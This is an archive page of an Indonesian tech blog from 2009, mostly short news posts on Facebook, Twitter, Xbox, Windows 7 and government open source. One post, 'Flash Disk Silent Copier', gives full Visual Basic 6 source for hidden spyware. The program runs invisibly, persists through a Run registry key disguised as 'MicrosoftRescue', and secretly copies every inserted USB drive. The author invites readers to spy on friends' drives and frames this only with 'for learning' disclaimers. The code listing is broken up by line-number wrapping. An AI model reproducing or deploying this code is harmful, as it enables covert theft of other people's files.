30 Desember 2009

Turut Berduka Cita

54gusdureras.web.id menyatakan turut berduka cita atas berpulangnya Guru Bangsa Indonesia, KH. Abdurrahman Wahid, alias Gus Dur. Semoga arwah dan seluruh amal beliau diterima di sisi Allah SWT, dan keluarga yang ditinggalkan mendapatkan kekuatan dan ketabahan dalam menjalani cobaan ini. Amin.

04 Desember 2009

Album Downloader for Facebook

64facebookJika Anda pernah ingin mendownload foto-foto yang berada pada album Facebook, baik itu  Facebook Anda ataupun milik teman Anda, namun mengalami kesulitan karena harus mendownload foto-foto yang ada satu-per satu, maka Software ini adalah salah satu solusinya. Saya menyebutnya sebagai salah satu solusi, karena sebenarnya ada banyak software sejenis. Namun kali ini kita akan membahas m Downloader for Facebook.


Pertama-tama, tentu saja Anda harus mendownload dulu aplikasinya, di alamat ini : http://rajitss.com/albumdownloader/install/setup.exe. Setelah itu, Anda dapat meng-install aplikasi yang telah Anda download tersebut, dan menjalankannya setelah selesai di-install.


Anda akan diminta untuk login ke Facebook, dengan account yang Anda miliki. Setelah login, Anda akan diberikan daftar dari teman-teman Anda yang berada pada Facebook. Pilih salah satu, atau beberapa, atau semuanya - terserah Anda, lalu klik Change Folder jika Anda ingin mengubah folder download, dan klik tombol Download Selected Albums. Tunggulah hingga proses selesai, dan Anda bisa melihat hasil download album dari software ini.

15020124

Secara umum, proses download cukup cepat, namun tentu saja tergantung dari seberapa besar atau seberapa banyak album yang Anda download, dan juga bandwidth yang Anda miliki untuk melakukan download smile_teeth


Hasil download akan dikelompokkan dalam nama teman Anda, dan nama-nama album foto yang dimilikinya.


Ingin mencoba?

29 Oktober 2009

Panggilan Pengadilan Melalui Twitter

22twitter

Mengutip dari Tabloid PC Mild, sebuah panggilan untuk datang pengadilan dikirimkan lewat Twitter. Lho, memangnya sudah bosan yah dengan media biasa? Bukan begitu. Hal ini terjadi rupanya karena orang yang akan dipanggil ke pengadilan tersebut tidak diketahui alamat maupun identitasnya, sehingga pengadilan tinggi di Inggris terpaksa harus memanggil orang tersebut lewat media Twitter.

Kenapa Twitter? Karena orang tersebut, yang menggunakan account dengan nama "blaneysblamey" memposting pesan-pesan di Twitter dan memberikan kesan seakan-akan itu adalah pesan dari Donal Blaney, seorang blogger konservatif, padaal Donal Blaney sendiri menyatakan bahwa account tersebut bukanlah miliknya. Dan ia, lewat kuasa hukumnya, meminta pengadilan untuk mengeluarkan surat untuk memanggil orang tersebut ke pengadilan, agar pemilik account twitter misterius tesebut mau menghentikan aksinya dalam menyebarkan posting-posting yang mengatasnamakan dirinya tersebut.

Nah lo! Ribet memang. Tapi sepertinya itulah salah satu sisi dari teknologi yang mesti dihadapi di saat sekarang.

Open Source Untuk Seluruh Jajaran Pemerintahan Pada Tahun 2011

86logo-igos

Ini jelas berita menarik. Menkominfo, Tifatul Sembiring menyatakan bahwa sesuai dengan edaran Peraturan Kementerian Pemberdayaan Aparatur Negara Nomor 1/2009, seluruh komputer yang dipakai oleh aparat pemerintahan dari tingkat pusat sampai ke daerah, diwajibkan untuk menggunakan Open-Source dalam operasionalnya.

Indonesia sebenarnya telah lama menggalakkan gerakan Open Source ini, yang dikenal dengan nama IGOS alias Indonesia Go Open Source, suatu gerakan yang dilakukan agar bangsa ini mampu bangkit dari keterpurukan teknologi, dan mampu mensejajarkan dirinya dengan bangsa-bangsa lain di dunia, dengan menghasilkan aplikasi-aplikasi sendiri, dan tidak hanya menjadi end-user alias sekadar pemakai belaka.

Dikutip dari Okezone, Tifatul Sembiring menyatakan bahwa memang tidak gampang untuk menerapkan hal ini pada jajaran pemerintahan. Namun dengan cara "memaksa", ia yakin hal ini dapat terwujud pada tahun 2011, meskipun harus secara bertahap.

Tentunya hal ini harus didukung penuh oleh komunitas IT di negeri ini, khususnya komunitas Open Source yang ada di Indonesia. Dan sekali lagi, meski memang sulit, namun kita memang tetap harus mau melakukan hal ini, atau kita akan terus tertinggal oleh bangsa-bangsa lain yang sudah lebih dulu menerapkan open-source di negaranya.

2011 sepertinya terdengar tidak lama. Semoga target itu tercapai.

Facebook dan Twitter Di Dalam Microsoft X-Box

12xbox_live_logo_lo_res_GF

Meskipun belum mengeluarkan tanggal resmi-nya, namun pihak Microsoft sudah menyatakan bahwa mereka akan memasukkan layanan Facebook dan Twitter sebagai salah satu fitur yang bisa dijalankan dari dalam XBox Live besutannya.

Marc Whitten, General Manager XBox Live mengatakan bahwa adalah sangat menyenangkan untuk bermain Facebook dan Twitter di layanan XBox Live. Salah satu pengembang mereka, Scott Hills juga mengatkan bahwa aplikasi Facebook dan Twitter hadir untuk menambah kemampuan konsol game keluaran Microsoft tersebut.

67187464

Bagi para pengguna XBox, yang memiliki account di layanan Facebook dan Twitter, hal ini tentunya merupakan suatu hal yang menyenangkan, karena ini berarti bahwa mereka tidak perlu beranjak meninggalkan XBox yang mereka miliki, jika hanya ingin membuka halaman-halaman Facebook maupun Twitter.

61148344

28 September 2009

Iklan-Iklan Microsoft Untuk Windows 7

Dalam rangka menyambut peluncuran Windows 7, sekarang Microsoft gencar menggelontorkan iklan tentang sistem operasi terbarunya tersebut. Cukup menarik, sebenarnya. Coba simak saja tiga iklan tersebut:

Yang ini berjudul "Windows live Movie Maker: Share Videos, Share Your Life".

 

Kalau yang ini berjudul "Aero Shake: Shake Away the Clutter".

 

Dan yang ini adalah "Personalization: Your PC, Your Style".

15 September 2009

Facebook Lite, Versi Ringan Dari Facebook

65facebook-lite_GFFacebook sudah meluncurkan Facebook Lite, sebuah versi ringan dari versinya yang biasa. Ringan, karena ada beberapa fitur yang dihilangkan, sehingga waktu loadingnya juga relatif lebih cepat. Selain itu, dengan desain yang terkesan minimalis, desain Facebook Lite yang baru tampaknya lebih disukai, terutama oleh mereka yang kurang suka dengan facebook "versi penuh" yang disesaki oleh beragam fitur yang mungkin malah kurang berguna buat mereka. Bukan rahasia lagi bila di setiap aplikasi, selalu ada, bahkan banyak fitur-fitur yang menjadi mubazir buat sebagian penggunanya, karena mereka memang tidak tertarik untuk menggunakannya.

88649448

Beberapa waktu sebelumnya, bahkan beberapa postingan di Facebook mengajak untuk ramai-ramai menggunakan Twitter, karena dinilai lebih sederhana. Dan mungkin, salah satunya karena alasan itu, Facebook lantas mengeluarkan Facebook Lite, yang menurut beberapa orang, mirip dengan Twitter. Padahal, beberapa waktu sebelumnya, Facebook dan Twitter sempat dikabarkan akan bekerjasama, sehingga setiap pengguna Facebook akan bisa langsung melakukan posting di Twitter, dan sebaliknya. Namun dengan adanya versi Facebook Lite ini, nampaknya kabar tentang kerjasama tersebut menjadi tidak jelas. Jika Facebook Lite benar-benar sudah diluncurkan (sekarang masih versi Beta), dengan gaya minimalisnya, orang mungkin akan bimbang untuk beralih ke Twitter.


Namun, yah, kita tunggu saja perkembangan selanjutnya.

17 Agustus 2009

Dirgahayu Kemerdekaan Republik Indonesia Di Logo Google

Hari ini saya cukup senang mengetahui bahwa selain masyarakat Indonesia yang merayakan hari kemerdekaan RI yang ke 64 dengan upacara di banyak tempat, dan berbagai lomba yang mengiringinya, ternyata Google juga turut "menyumbangkan" kegembiraan dengan menyajikan logo Google khusus.

99691695

Sekarang mungkin, tinggal dari kita, masyarakat Indonesia yang bisa merayakan kemerdekaan dengan berbagai cara. Tidak hanya dengan upacara-upacara dan berbagai lomba yang ada. Namun yang terpenting mungkin adalah kesadaran bahwa hari ini membuktikan bahwa bangsa ini masih eksis, masih ada, dengan segala keterbatasan dan kelebihannya. Dan itu mewajibkan kita semua untuk mensyukurinya dengan berbagai hal yang positif, yang kita bisa lakukan untuk bangsa ini.

Merdeka! Merdeka! Merdeka! :iloveindonesia

10 Agustus 2009

Flash Disk Silent Copier

Teman anda sering meminjam komputer Anda. Atau komputer yang Anda gunakan di kantor adalah komputer yang digunakan bersama, oleh beberapa orang. Dengan kondisi seperti itu, pernahkah terlintas dalam fikiran Anda, untuk menyalin file-file pada flashdisk yang ditancapkannya pada port usb di komputer Anda, secara diam-diam? Anda mungkin penasaran, apa saja sih yang berada pada flashdisk teman Anda tersebut? Saya, jujur saja, menjadi tertarik, setelah seorang teman saya meminta dibuatkan program untuk menyalin semua isi di flashdisk yang tertancap di komputernya, secara diam-diam. Mula-mula saya tertawa, meskipun dalam hati tertarik juga. Boleh juga, kata saya kepada teman tersebut. Dan kami tertawa bersama. Tertawa dengan tanduk yang mulai tumbuh di kepala smile_devil

625116-usb-flash-disk-1
Sebelumnya, saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Dan lewat artikel ini, saya juga ingin memberitahukan bahwa kemungkinan data Anda tercuri, jika Anda menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi, berhati-hatilah!


Program ini saya buat dengan menggunakan Microsoft Visual Basic 6.0, dan hanya menggunakan 1 (satu) form dan 1 (satu) module.


Jadi, buka Visual Basic Anda, buat sebuat project baru, lalu pada form kosong yang tersedia, tambahkan 2 control timer. Namai control timer pertama dengan nama tmrCek dan control timer kedua dengan nama tmrCekExist. Ubah property  interval keduanya menjadi 1000 (untuk mengeset agar program ini mengecek keberadaan flashdisk yang ada, setiap 1 detik sekali / 1000 milisecond). Jangan lupa juga untuk menamai form tersebut dengan nama frmFDSC, dan ubah juga property Visible-nya menjadi False.

 

64702434

Kemudian, pada jendela code editor form tersebut, tambahkan kode-kode berikut:

   1:  



   2: Option Explicit



   3:  



   4: Private Declare Function GetDriveType Lib "kernel32" _



   5:  



   6: Alias "GetDriveTypeA" (ByVal nDrive As String) As Long



   7: Dim sFolder As 



   8: String



   9: Dim sLabel As String



  10: Dim sToday As String



  11: Dim sPenanda As 



  12: String



  13: Dim nDelay As Integer



  14: Dim sDrive As String



  15:  



  16: Private Sub Form_Load()



  17: Dim sHasil As String



  18:  



  19: Me.Visible = False



  20:  App.TaskVisible = 



  21: False



  22:  sHasil = AmbilString(HKLM, 



  23: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 



  24: "MicrosoftRescue")



  25:  If sHasil = "" 



  26: Then



  27:  If BuatString(HKLM, 



  28: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "MicrosoftRescue", App.Path 



  29: & "\" & App.EXEName & ".exe") = True 



  30: Then



  31:  'Ok, 



  32: autorun di registry berhasil 



  33: dibuat.



  34:  End 



  35: If



  36:  End If



  37:  sFolder = 



  38: "c:\backup"



  39:  If Dir(sFolder, vbDirectory) = "" 



  40: Then



  41:  On Error GoTo 



  42: SkipIt



  43:  MkDir 



  44: sFolder



  45:  End If



  46: SkipIt:



  47:  sLabel = 



  48: ""



  49: End Sub



  50:  



  51: Private Sub tmrCek_Timer()



  52: Dim i As Integer



  53: Dim X



  54: Dim sCmd As 



  55: String



  56:  sToday = Format(Now(), 



  57: "ddMMyyyy")



  58:  CekDrive



  59:  If Not sDrive = 



  60: "" Then



  61:  sPenanda = sDrive & 



  62: "\" & sToday & ".txt"



  63:  sCmd 



  64: = "xcopy.exe " & sDrive & "\*.* " & sFolder & "\" & 



  65: Left(sDrive, 1) & Format(Now(), "yyyyMMdd") & "-" & Format(Now(), 



  66: "HHmmss") & "\*.* /E /C"



  67:  If 



  68: Dir(sPenanda, vbHidden) = "" 



  69: Then



  70:  Open 



  71: "c:\temp.bat" For Output As 



  72: #1



  73:  Print 



  74: #1, "@echo 



  75: off"



  76:  Print 



  77: #1, sCmd



  78:  



  79: Print #1, "copy c:\temp.bat 



  80: c:\berhasil.txt"



  81:  



  82: Close #1



  83:  



  84: If Dir(sFolder, vbDirectory) = "" 



  85: Then



  86:  



  87: MkDir 



  88: sFolder



  89:  



  90: End If



  91:  X = 



  92: Shell("c:\temp.bat", 



  93: vbHide)



  94:  



  95: tmrCek.Enabled = 



  96: False



  97:  



  98: tmrCekExist.Enabled = True



  99:  End 



 100: If



 101:  End If



 102: End Sub



 103:  



 104: Private Sub tmrCekExist_Timer()



 105: Dim X



 106:  nDelay = 



 107: nDelay + 1



 108:  If nDelay >= 5 



 109: Then



 110:  nDelay = 



 111: 0



 112:  If Dir("c:\berhasil.txt", 



 113: vbNormal) <> "" 



 114: Then



 115:  Kill 



 116: "c:\temp.bat"



 117:  



 118: Kill 



 119: "c:\berhasil.txt"



 120:  



 121: Open sPenanda For Output As 



 122: #1



 123:  Print 



 124: #1, sToday



 125:  



 126: Close #1



 127:  X 



 128: = Shell("attrib.exe +h " & sPenanda, 



 129: vbHide)



 130:  



 131: KillApp 



 132: ("xcopy.exe")



 133:  



 134: KillApp 



 135: ("temp.bat")



 136:  



 137: X = Shell("taskkill.exe xcopy.exe", 



 138: vbHide)



 139:  X 



 140: = Shell("taskkill.exe temp.bat", 



 141: vbHide)



 142:  



 143: tmrCekExist.Enabled = 



 144: False



 145:  



 146: tmrCek.Enabled = True



 147:  End 



 148: If



 149:  End If



 150: End Sub



 151:  



 152: Sub CekDrive()



 153: Dim ictr As Integer



 154: Dim iDriveCount As 



 155: Integer



 156: Dim sAllDrives As String



 157: ReDim sDrives(0) As 



 158: String



 159:  For ictr = 66 To 



 160: 90



 161:  sDrive = Chr(ictr) & 



 162: ":"



 163:  If DriveType(sDrive) = 



 164: "Removable Drive" 



 165: Then



 166:  



 167: sDrive = 



 168: sDrive



 169:  



 170: Exit Sub



 171:  



 172: iDriveCount = iDriveCount + 1



 173:  End 



 174: If



 175:  Next



 176:  sDrive = ""



 177: End Sub



 178:  



 179: Private Function DriveType(Drive As String) As String



 180: Dim sAns As 



 181: String, lAns As Long



 182:  If Len(Drive) = 1 Then Drive = Drive 



 183: & ":"



 184:  If Len(Drive) = 2 And Right$(Drive, 1) = ":" 



 185: Then Drive = Drive & ""



 186:  lAns = 



 187: GetDriveType(Drive)



 188:  Select Case 



 189: lAns



 190:  Case 



 191: 2



 192:  sAns = 



 193: "Removable Drive"



 194:  Case 



 195: 3



 196:  sAns = 



 197: "Fixed Drive"



 198:  Case 



 199: 4



 200:  sAns = 



 201: "Remote Drive"



 202:  Case 



 203: 5



 204:  sAns = 



 205: "CD-ROM"



 206:  Case 



 207: 6



 208:  sAns = 



 209: "RAM Disk"



 210:  Case 



 211: Else



 212:  sAns 



 213: = "Drive Doesn't Exist"



 214:  End Select



 215:  



 216: DriveType = sAns



 217: End Function






Setelah itu, tambahkan sebuah modul. Beri nama modul tersebut dengan nama modReg. Kemudian, tambahkan code-code berikut pada module tersebut:





   1: Private Const KEY_READ = &H20000 Or &H1& Or &H8& Or 



   2: &H10&



   3: Private Const KEY_WRITE = &H20000 Or &H2& Or 



   4: &H4&



   5: Public Const HKCU = &H80000001



   6: Public Const HKLM = 



   7: &H80000002



   8: Private Const REG_SZ = 1



   9: Private Const REG_DWORD = 



  10: 4



  11: Private Const ERROR_SUCCESS = 0&



  12: Private Declare Function 



  13: RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hkey As Long, ByVal 



  14: lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult 



  15: As Long) As Long



  16: Private Declare Function RegSetValueEx Lib "advapi32.dll" 



  17: Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal 



  18: Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As 



  19: Long



  20: Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias 



  21: "RegQueryValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal 



  22: lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As 



  23: Long



  24: Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As 



  25: Long) As Long



  26: Const MAX_PATH& = 260



  27: Private Declare Function 



  28: TerminateProcess _



  29:  Lib "kernel32" (ByVal ApphProcess As 



  30: Long, _



  31:  ByVal uExitCode As Long) As Long



  32: Private 



  33: Declare Function OpenProcess Lib _



  34:  "kernel32" (ByVal 



  35: dwDesiredAccess As Long, _



  36:  ByVal blnheritHandle As Long, 



  37: _



  38:  ByVal dwAppProcessId As Long) As Long



  39: Private Declare 



  40: Function ProcessFirst _



  41:  Lib "kernel32" Alias 



  42: "Process32First" _



  43:  (ByVal hSnapshot As Long, 



  44: _



  45:  uProcess As PROCESSENTRY32) As Long



  46: Private Declare 



  47: Function ProcessNext _



  48:  Lib "kernel32" Alias 



  49: "Process32Next" _



  50:  (ByVal hSnapshot As Long, 



  51: _



  52:  uProcess As PROCESSENTRY32) As Long



  53: Private Declare 



  54: Function CreateToolhelpSnapshot _



  55:  Lib "kernel32" Alias 



  56: "CreateToolhelp32Snapshot" _



  57:  (ByVal lFlags As Long, 



  58: _



  59:  lProcessID As Long) As Long



  60: Private Declare Function 



  61: CloseHandle _



  62:  Lib "kernel32" (ByVal hObject As Long) As 



  63: Long



  64: Private Type LUID



  65:  lowpart As Long



  66: highpart As Long



  67: End 



  68: Type



  69: Private Type TOKEN_PRIVILEGES



  70:  PrivilegeCount As 



  71: Long



  72:  LuidUDT As LUID



  73:  Attributes As 



  74: Long



  75: End Type



  76: Const TOKEN_ADJUST_PRIVILEGES = &H20



  77: Const 



  78: TOKEN_QUERY = &H8



  79: Const SE_PRIVILEGE_ENABLED = &H2



  80: Const 



  81: PROCESS_ALL_ACCESS = &H1F0FFF



  82: Private Declare Function GetVersion Lib 



  83: "kernel32" () As Long



  84: Private Declare Function GetCurrentProcess 



  85: _



  86:  Lib "kernel32" () As Long



  87: Private Declare Function 



  88: OpenProcessToken _



  89:  Lib "advapi32" (ByVal ProcessHandle As 



  90: Long, _



  91:  ByVal DesiredAccess As Long, 



  92: _



  93:  TokenHandle As Long) As Long



  94: Private Declare Function 



  95: LookupPrivilegeValue _



  96:  Lib "advapi32" Alias 



  97: "LookupPrivilegeValueA" _



  98:  (ByVal lpSystemName As String, 



  99: _



 100:  ByVal lpName As String, _



 101:  lpLuid 



 102: As LUID) As Long



 103: Private Declare Function AdjustTokenPrivileges 



 104: _



 105:  Lib "advapi32" (ByVal TokenHandle As Long, 



 106: _



 107:  ByVal DisableAllPrivileges As Long, 



 108: _



 109:  NewState As TOKEN_PRIVILEGES, _



 110:  



 111: ByVal BufferLength As Long, _



 112:  PreviousState As Any, 



 113: _



 114:  ReturnLength As Any) As Long



 115: Private Type 



 116: PROCESSENTRY32



 117:  dwSize As Long



 118:  cntUsage As 



 119: Long



 120:  th32ProcessID As Long



 121:  th32DefaultHeapID As 



 122: Long



 123:  th32ModuleID As Long



 124:  cntThreads As 



 125: Long



 126:  th32ParentProcessID As Long



 127:  pcPriClassBase 



 128: As Long



 129:  dwFlags As Long



 130:  szexeFile As String * 



 131: MAX_PATH



 132: End Type



 133:  



 134: Public Function KillApp(myName As String) As Boolean



 135:  Const 



 136: TH32CS_SNAPPROCESS As Long = 2&



 137:  Const PROCESS_ALL_ACCESS = 



 138: 0



 139:  Dim uProcess As PROCESSENTRY32



 140:  Dim rProcessFound As 



 141: Long



 142:  Dim hSnapshot As Long



 143:  Dim szExename As String



 144:  



 145: Dim exitCode As Long



 146:  Dim myProcess As Long



 147:  Dim AppKill As 



 148: Boolean



 149:  Dim appCount As Integer



 150:  Dim i As Integer



 151:  



 152: On Local Error GoTo Finish



 153:  appCount = 0



 154:  uProcess.dwSize = 



 155: Len(uProcess)



 156:  hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 



 157: 0&)



 158:  rProcessFound = ProcessFirst(hSnapshot, uProcess)



 159:  Do 



 160: While rProcessFound



 161:  i = InStr(1, 



 162: uProcess.szexeFile, Chr(0))



 163:  szExename = 



 164: LCase$(Left$(uProcess.szexeFile, i - 1))



 165:  



 166: If Right$(szExename, Len(myName)) = LCase$(myName) 



 167: Then



 168:  KillApp = 



 169: True



 170:  appCount = 



 171: appCount + 1



 172:  



 173: myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, 



 174: _



 175:  



 176: uProcess.th32ProcessID)



 177:  



 178: If KillProcess(uProcess.th32ProcessID, 0) 



 179: Then



 180:  



 181: 'Tidak ada process yang di 



 182: stop



 183:  End 



 184: If



 185:  End If



 186:  rProcessFound 



 187: = ProcessNext(hSnapshot, uProcess)



 188: Loop



 189: Call 



 190: CloseHandle(hSnapshot)



 191: Exit Function



 192: Finish:



 193:  MsgBox 



 194: "Error!"



 195: End Function



 196:  



 197: Function KillProcess(ByVal hProcessID As Long, Optional ByVal 



 198: _



 199:  



 200: exitCode As Long) As Boolean



 201:  Dim hToken As 



 202: Long



 203:  Dim hProcess As Long



 204:  Dim tp As 



 205: TOKEN_PRIVILEGES



 206:  If GetVersion() >= 0 



 207: Then



 208:  If 



 209: OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or 



 210: _



 211:  



 212: TOKEN_QUERY, hToken) = 0 



 213: Then



 214:  GoTo 



 215: CleanUp



 216:  End 



 217: If



 218:  If LookupPrivilegeValue("", 



 219: "SeDebugPrivilege", tp.LuidUDT) = 0 



 220: Then



 221:  GoTo 



 222: CleanUp



 223:  End 



 224: If



 225:  tp.PrivilegeCount = 



 226: 1



 227:  tp.Attributes = 



 228: SE_PRIVILEGE_ENABLED



 229:  If 



 230: AdjustTokenPrivileges(hToken, False, tp, 0, ByVal 0&, 



 231: _



 232:  ByVal 0&) 



 233: = 0 Then



 234:  



 235: GoTo CleanUp



 236:  End 



 237: If



 238:  End If



 239:  hProcess = 



 240: OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)



 241:  If hProcess 



 242: Then



 243:  KillProcess = 



 244: (TerminateProcess(hProcess, exitCode) <> 



 245: 0)



 246:  CloseHandle 



 247: hProcess



 248:  End If



 249:  If GetVersion() 



 250: >= 0 Then



 251:  tp.Attributes = 



 252: 0



 253:  AdjustTokenPrivileges hToken, 



 254: False, tp, 0, ByVal 0&, ByVal 



 255: 0&



 256: CleanUp:



 257:  If hToken Then 



 258: CloseHandle hToken



 259:  End If



 260: End Function



 261:  



 262: Public Function BuatDword(ByVal hkey As Long, ByVal alamat As String, ByVal 



 263: nama As String, ByVal nilai As Long) As Boolean



 264:  Dim Handle 



 265: As Long



 266:  Dim hasil As Long



 267:  hasil = 



 268: RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)



 269:  If hasil 



 270: <> ERROR_SUCCESS Then



 271:  



 272: BuatDword = False



 273:  



 274: Else



 275:  BuatDword = 



 276: True



 277:  End If



 278:  RegSetValueEx Handle, 



 279: nama, 0&, REG_DWORD, nilai, 4&



 280:  RegCloseKey 



 281: Handle



 282: End Function



 283:  



 284: Public Function BuatString(ByVal hkey As Long, ByVal alamat As String, 



 285: ByVal nama As String, ByVal nilai As String) As Boolean



 286:  



 287: Dim Handle As Long



 288:  Dim hasil As Long



 289:  



 290: hasil = RegOpenKeyEx(hkey, alamat, 0, KEY_WRITE, Handle)



 291:  



 292: If hasil <> ERROR_SUCCESS 



 293: Then



 294:  BuatString = 



 295: False



 296:  Else



 297:  



 298: BuatString = True



 299:  End If



 300:  



 301: RegSetValueEx Handle, nama, 0, REG_SZ, ByVal nilai, 



 302: Len(nilai)



 303:  RegCloseKey Handle



 304: End Function



 305:  



 306: Public Function AmbilDword(ByVal hkey As Long, ByVal alamat As String, 



 307: nama As String) As Long



 308:  On Error Resume 



 309: Next



 310:  Dim Handle As Long



 311:  RegOpenKeyEx 



 312: hkey, alamat, 0, KEY_READ, Handle



 313:  AmbilDword = 



 314: RegQueryValue(Handle, nama)



 315:  RegCloseKey Handle



 316: End 



 317: Function



 318:  



 319: Public Function AmbilString(ByVal hkey As Long, ByVal alamat As String, 



 320: ByVal nama As String) As String



 321:  On Error Resume 



 322: Next



 323:  Dim Handle As Long



 324:  RegOpenKeyEx 



 325: hkey, alamat, 0, KEY_READ, Handle



 326:  AmbilString = 



 327: RegQueryValue(Handle, nama)



 328:  RegCloseKey Handle



 329: End 



 330: Function



 331:  



 332: Private Function RegQueryValue(ByVal hkey As Long, ByVal strValueName As 



 333: String) As String



 334:  Dim hasil As Long



 335:  



 336: Dim Jenis As Long



 337:  Dim Buffer As 



 338: String



 339:  Dim Ukuran As Long



 340:  hasil = 



 341: RegQueryValueEx(hkey, strValueName, 0, Jenis, ByVal 0, 



 342: Ukuran)



 343:  If hasil = 0 



 344: Then



 345:  If Jenis = REG_SZ 



 346: Then



 347:  



 348: Buffer = String(Ukuran, 



 349: Chr$(0))



 350:  



 351: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, ByVal Buffer, 



 352: Ukuran)



 353:  If 



 354: hasil = 0 Then RegQueryValue = Left$(Buffer, InStr(1, Buffer, Chr$(0)) - 



 355: 1)



 356:  ElseIf Jenis = REG_DWORD 



 357: Then



 358:  Dim 



 359: strdata As 



 360: Integer



 361:  



 362: hasil = RegQueryValueEx(hkey, strValueName, 0, 0, strdata, 



 363: Ukuran)



 364:  If 



 365: hasil = 0 Then RegQueryValue = 



 366: strdata



 367:  End 



 368: If



 369:  End If



 370: End Function






Sekarang, compile program Anda, tempatkan file .exe yang dihasilkan pada folder tertentu yang Anda kehendaki. Saya pribadi menempatkannya pada folder Windows. Kemudian, jalankan program tersebut (jangan jalankan dari dalam IDE Visual Basic!). Anda tidak akan melihat apapun di layar, karena form-nya di-set Invisible. Program tersebut juga akan membuat sebuah key pada registry komputer, agar dapat berjalan otomatis, setiap kali windows dijalankan. Dan, setiap kali sebuah flash-disk ditancapkan, dia akan segera mendeteksinya, untuk kemudian melakukan proses penyalinan ke sebuah folder yang telah ditentukan.





Kelemahan dari program ini adalah bahwa proses copy yang dilakukan, masih menggunakan program eksternal, yaitu xcopy.exe, yang merupakan program bawaan Windows. Anda tidak perlu menyertakan program xcopy exe ini, karena program tersebut tersedia pada distribusi windows yang Anda pakai. Kelemahan ke dua dari program ini adalah cara pemeriksaan flashdisk yang masih menggunakan cara manual, yaitu dengan memeriksa keberadaan file tertentu yang ditambahkan pada flashdisk, setelah program selesai menyalin isi flashdisk tersebut. Kelemahan ke tiga dari program ini adalah tidak adanya fasilitas untuk memberikan jeda / waktu tunda yang cukup, setelah program selesai menyalin isi flashdisk, sehingga menyebabkan pada kasus tertentu, flashdisk tidak bisa di-remove, karena Windows menganggap masih adanya proses tertentu yang mengakses flashdisk tersebut. Itu semua akan menjadi PR buat Anda, untuk menjadikan program ini lebih baik. Saya tidak akan memberitahukan caranya, karena itu tidak akan membuat Anda menjadi lebih kreatif.





Dan, sekali lagi saya harus memperingatkan bahwa artikel ini hanya untuk pembelajaran, dan saya tidak bertanggung jawab atas segala penyalahgunaan yang terjadi karena penggunaan program ini. Artikel ini hanyalah sebuah media, dimana kita bisa belajar kemungkinan data Anda tercuri, jika Anda


menggunakan komputer yang digunakan secara bersama, cukup besar. Jadi sekali lagi, berhati-hatilah!



Anda bisa mendapatkan program ini dan source-code-nya, dengan cara mengirimkan email ke asopyan@eras.web.id.





Catatan: gambar ilustrasi untuk artikel ini saya ambil dari http://suaidi2007.wordpress.com.